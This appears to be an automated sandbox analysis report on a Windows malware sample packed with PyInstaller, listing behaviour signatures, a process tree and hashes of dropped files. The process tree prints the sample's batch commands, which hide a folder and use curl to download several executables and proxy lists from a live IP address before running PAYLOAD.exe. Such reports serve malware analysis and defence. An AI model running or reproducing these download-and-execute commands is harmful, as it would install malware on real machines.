Analysis

  • max time kernel
    448s
  • max time network
    1170s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240508-en
  • resource tags

    arch:x64arch:x86image:win11-20240508-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    07/06/2024, 21:09

General

  • Target
    malware.exe
  • Size 90KB
  • Sample240607-zztsnach7w
  • SHA256 5ffa90a32a532ec6f88acc5143742e90ba72e9540d0989a62cc405d19a837cd4
  • MD5 SHA1 SHA512 SSDEEP
Score
8/10

Malware Config

Signatures

  • Downloads MZ/PE file
  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 27 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 6 IoCs
  • Detects Pyinstaller 1 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\malware.exe
    "C:\Users\Admin\AppData\Local\Temp\malware.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4768
    • C:\Windows\system32\cmd.exe
      "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\4323.tmp\4324.tmp\4325.bat C:\Users\Admin\AppData\Local\Temp\malware.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3992
      • C:\Windows\system32\attrib.exe
        attrib +h C:\Users\Admin\AppData\Roaming\hjUZ
        3⤵
        • Views/modifies file attributes
        PID:3596
      • C:\Windows\system32\curl.exe
        curl -s -o ua.txt http://176.96.137.11:4001/download/ua.txt
        3⤵
          PID:4016
        • C:\Windows\system32\curl.exe
          curl -s -o proxy.txt http://176.96.137.11:4001/download/proxy.txt
          3⤵
            PID:972
          • C:\Windows\system32\curl.exe
            curl -s -o YzxHTTPs.exe http://176.96.137.11:4001/download/bypass.exe
            3⤵
              PID:1704
            • C:\Windows\system32\curl.exe
              curl -s -o XaZDFTLSV.exe http://176.96.137.11:4001/download/tlsv.exe
              3⤵
                PID:892
              • C:\Windows\system32\curl.exe
                curl -s -o AXzTTPSMIX.exe http://176.96.137.11:4001/download/httpsmix.exe
                3⤵
                  PID:3916
                • C:\Windows\system32\curl.exe
                  curl -s -o PAYLOAD.exe http://176.96.137.11:4001/download/s.exe
                  3⤵
                    PID:3640
                  • C:\Users\Admin\AppData\Roaming\hjUZ\PAYLOAD.exe
                    PAYLOAD.exe
                    3⤵
                    • Executes dropped EXE
                    • Suspicious use of WriteProcessMemory
                    PID:4744
                    • C:\Users\Admin\AppData\Roaming\hjUZ\PAYLOAD.exe
                      PAYLOAD.exe
                      4⤵
                      • Executes dropped EXE
                      • Loads dropped DLL
                      PID:1816

              Network

                    MITRE ATT&CK Enterprise v15

                    Replay Monitor

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                    Downloads

                    4325.bat

                    • Path C:\Users\Admin\AppData\Local\Temp\4323.tmp\4324.tmp\4325.bat
                    • Size 1KB
                    • SHA256 f73c75e2e9b6a4cddc3f1b2af9f221274584b9ee111b5e670f4f339e36fa58c5
                    • MD5 SHA1 SHA512

                    VCRUNTIME140.dll

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI47442\VCRUNTIME140.dll
                    • Size 116KB
                    • SHA256 4d292623516f65c80482081e62d5dadb759dc16e851de5db24c3cbb57b87db83
                    • MD5 SHA1 SHA512 SSDEEP

                    VCRUNTIME140_1.dll

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI47442\VCRUNTIME140_1.dll
                    • Size 48KB
                    • SHA256 a113f192195f245f17389e6ecbed8005990bcb2476ddad33f7c4c6c86327afe5
                    • MD5 SHA1 SHA512 SSDEEP

                    _asyncio.pyd

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI47442\_asyncio.pyd
                    • Size 69KB
                    • SHA256 5bebeb765ab9ef045bc5515166360d6f53890d3ad6fc360c20222d61841410b6
                    • MD5 SHA1 SHA512 SSDEEP

                    _bz2.pyd

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI47442\_bz2.pyd
                    • Size 83KB
                    • SHA256 3ed0e5058d370fb14aa5469d81f96c5685559c054917c7280dd4125f21d25f62
                    • MD5 SHA1 SHA512 SSDEEP

                    _ctypes.pyd

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI47442\_ctypes.pyd
                    • Size 122KB
                    • SHA256 74e0e8384f6c2503215f4cf64c92efe7257f1aec44f72d67ad37dc8ba2530bc1
                    • MD5 SHA1 SHA512 SSDEEP

                    _decimal.pyd

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI47442\_decimal.pyd
                    • Size 251KB
                    • SHA256 b8221d1c9e2c892dd6227a6042d1e49200cd5cb82adbd998e4a77f4ee0e9abf1
                    • MD5 SHA1 SHA512 SSDEEP

                    _hashlib.pyd

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI47442\_hashlib.pyd
                    • Size 64KB
                    • SHA256 fd77a5756a17ec0788989f73222b0e7334dd4494b8c8647b43fe554cf3cfb354
                    • MD5 SHA1 SHA512 SSDEEP

                    _lzma.pyd

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI47442\_lzma.pyd
                    • Size 156KB
                    • SHA256 7bf9ff61babebd90c499a8ed9b62141f947f90d87e0bbd41a12e99d20e06954a
                    • MD5 SHA1 SHA512 SSDEEP

                    _multiprocessing.pyd

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI47442\_multiprocessing.pyd
                    • Size 34KB
                    • SHA256 3c34031b464e7881d8f9d182f7387a86b883581fd020280ec56c1e3ec6f4cc2d
                    • MD5 SHA1 SHA512 SSDEEP

                    _overlapped.pyd

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI47442\_overlapped.pyd
                    • Size 54KB
                    • SHA256 d5f89859609371393d379b5ffd98e5b552078050e8b02a8e2900fa9b4ee8ff91
                    • MD5 SHA1 SHA512 SSDEEP

                    _queue.pyd

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI47442\_queue.pyd
                    • Size 31KB
                    • SHA256 dbdabb5fe0ccbc8b951a2c6ec033551836b072cab756aaa56b6f22730080d173
                    • MD5 SHA1 SHA512 SSDEEP

                    _socket.pyd

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI47442\_socket.pyd
                    • Size 81KB
                    • SHA256 b102522c23dac2332511eb3502466caf842d6bcd092fbc276b7b55e9cc01b085
                    • MD5 SHA1 SHA512 SSDEEP

                    _ssl.pyd

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI47442\_ssl.pyd
                    • Size 174KB
                    • SHA256 a5d361707f7a2a2d726b20770e8a6fc25d753be30bcbcbbb683ffee7959557c2
                    • MD5 SHA1 SHA512 SSDEEP

                    _uuid.pyd

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI47442\_uuid.pyd
                    • Size 25KB
                    • SHA256 acbf831004fb8b8d5340fe5debd9814c49bd282dd765c78faeb6bb5116288c78
                    • MD5 SHA1 SHA512 SSDEEP

                    _wmi.pyd

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI47442\_wmi.pyd
                    • Size 36KB
                    • SHA256 752fb80edb51f45d3cc1c046f3b007802432b91aef400c985640d6b276a67c12
                    • MD5 SHA1 SHA512 SSDEEP

                    _helpers.cp312-win_amd64.pyd

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI47442\aiohttp\_helpers.cp312-win_amd64.pyd
                    • Size 54KB
                    • SHA256 1fdae029896a54522f75291d2ce84a6b296bb0264ea8f2d2b9a46fbec16fee1e
                    • MD5 SHA1 SHA512 SSDEEP

                    _http_parser.cp312-win_amd64.pyd

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI47442\aiohttp\_http_parser.cp312-win_amd64.pyd
                    • Size 256KB
                    • SHA256 cd5463f593c4f0bb9fced6a868c449f237e2fba1a1cc8224b288c39674ce2bea
                    • MD5 SHA1 SHA512 SSDEEP

                    _http_writer.cp312-win_amd64.pyd

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI47442\aiohttp\_http_writer.cp312-win_amd64.pyd
                    • Size 49KB
                    • SHA256 ee33769db55edd1c1081c97914559e4629446fd688b6de676eb12ad63c3ed48c
                    • MD5 SHA1 SHA512 SSDEEP

                    _websocket.cp312-win_amd64.pyd

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI47442\aiohttp\_websocket.cp312-win_amd64.pyd
                    • Size 36KB
                    • SHA256 b96f6d3509f8420020c21e5448617ace540454585f1f3ac0f0f82f46d40ecd18
                    • MD5 SHA1 SHA512 SSDEEP

                    base_library.zip

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI47442\base_library.zip
                    • Size 1.3MB
                    • SHA256 c611943f0aeb3292d049437cb03500cc2f8d12f23faf55e644bca82f43679bc0
                    • MD5 SHA1 SHA512 SSDEEP

                    _frozenlist.cp312-win_amd64.pyd

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI47442\frozenlist\_frozenlist.cp312-win_amd64.pyd
                    • Size 84KB
                    • SHA256 886375bc6f0ff2bbd1e8280f8f1cb29c93f94b8e25b5076043cd796654c3a193
                    • MD5 SHA1 SHA512 SSDEEP

                    libcrypto-3.dll

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI47442\libcrypto-3.dll
                    • Size 5.0MB
                    • SHA256 05fe080eab7fc535c51e10c1bd76a2f3e6217f9c91a25034774588881c3f99de
                    • MD5 SHA1 SHA512 SSDEEP

                    libffi-8.dll

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI47442\libffi-8.dll
                    • Size 38KB
                    • SHA256 eff52743773eb550fcc6ce3efc37c85724502233b6b002a35496d828bd7b280a
                    • MD5 SHA1 SHA512 SSDEEP

                    libssl-3.dll

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI47442\libssl-3.dll
                    • Size 768KB
                    • SHA256 2e9fbcd8f7fdc13a5179533239811456554f2b3aa2fb10e1b17be0df81c79006
                    • MD5 SHA1 SHA512 SSDEEP

                    _multidict.cp312-win_amd64.pyd

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI47442\multidict\_multidict.cp312-win_amd64.pyd
                    • Size 45KB
                    • SHA256 1ef9e6eaff88cdcc0a32346b7b266a0e1d19716ecac07f16a189a7057ce971f9
                    • MD5 SHA1 SHA512 SSDEEP

                    pyexpat.pyd

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI47442\pyexpat.pyd
                    • Size 197KB
                    • SHA256 efd6099b1a6efdadd988d08dce0d8a34bd838106238250bccd201dc7dcd9387f
                    • MD5 SHA1 SHA512 SSDEEP

                    python312.dll

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI47442\python312.dll
                    • Size 6.6MB
                    • SHA256 21700f0bad5769a1b61ea408dc0a140ffd0a356a774c6eb0cc70e574b929d2e2
                    • MD5 SHA1 SHA512 SSDEEP

                    select.pyd

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI47442\select.pyd
                    • Size 30KB
                    • SHA256 411d6f538bdbaf60f1a1798fa8aa7ed3a4e8fcc99c9f9f10d21270d2f3742019
                    • MD5 SHA1 SHA512 SSDEEP

                    unicodedata.pyd

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI47442\unicodedata.pyd
                    • Size 1.1MB
                    • SHA256 bc2cf23b7b7491edcf03103b78dbaf42afd84a60ea71e764af9a1ddd0fe84268
                    • MD5 SHA1 SHA512 SSDEEP

                    _quoting_c.cp312-win_amd64.pyd

                    • Path C:\Users\Admin\AppData\Local\Temp\_MEI47442\yarl\_quoting_c.cp312-win_amd64.pyd
                    • Size 94KB
                    • SHA256 f306e375e186c011585dea2bc875530fb7d734861db388764a2aa307b1b68df3
                    • MD5 SHA1 SHA512 SSDEEP

                    PAYLOAD.exe

                    • Path C:\Users\Admin\AppData\Roaming\hjUZ\PAYLOAD.exe
                    • Size 10.3MB
                    • SHA256 ccacb79b78960a5fcf9ccad356badb2346d3ed60b6e0220d402ea8663c109302
                    • MD5 SHA1 SHA512 SSDEEP